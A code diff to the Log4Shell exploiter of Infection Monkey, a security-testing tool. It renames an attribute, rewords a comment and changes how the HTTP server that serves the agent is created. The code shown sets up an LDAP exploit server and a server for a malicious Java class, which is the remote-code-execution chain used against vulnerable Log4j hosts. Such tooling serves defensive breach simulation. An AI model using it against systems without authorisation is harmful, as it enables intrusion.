diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d33b7d0bd..5b78b0a95 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -33,7 +33,7 @@ class Log4ShellExploiter(WebRCE): EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds + REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS def __init__(self, host: VictimHost): super().__init__(host) @@ -41,7 +41,7 @@ class Log4ShellExploiter(WebRCE): self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) - self.class_http_server_port = get_free_tcp_port() + self._class_http_server_port = get_free_tcp_port() self._ldap_server = None self._exploit_class_http_server = None @@ -71,21 +71,17 @@ class Log4ShellExploiter(WebRCE): def _start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer( + http_path, http_thread = HTTPTools.try_create_locked_transfer( self.host, agent_paths["src_path"] ) self._agent_http_server_thread = http_thread - if not http_path: - logger.debug("Exploiter failed, couldn't start an http server to serve agent.") - raise Exception("Http server creation failed") - logger.info("Started http server on %s", http_path) return http_path def _start_class_http_server(self, command: str): java_class = self._build_java_class(command) self._exploit_class_http_server = ExploitClassHTTPServer( - self._class_http_server_ip, self.class_http_server_port, java_class + self._class_http_server_ip, self._class_http_server_port, java_class ) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. @@ -100,7 +96,7 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = LDAPExploitServer( ldap_server_port=self._ldap_port, http_server_ip=self._class_http_server_ip, - http_server_port=self.class_http_server_port, + http_server_port=self._class_http_server_port, storage_dir=get_monkey_dir_path(), )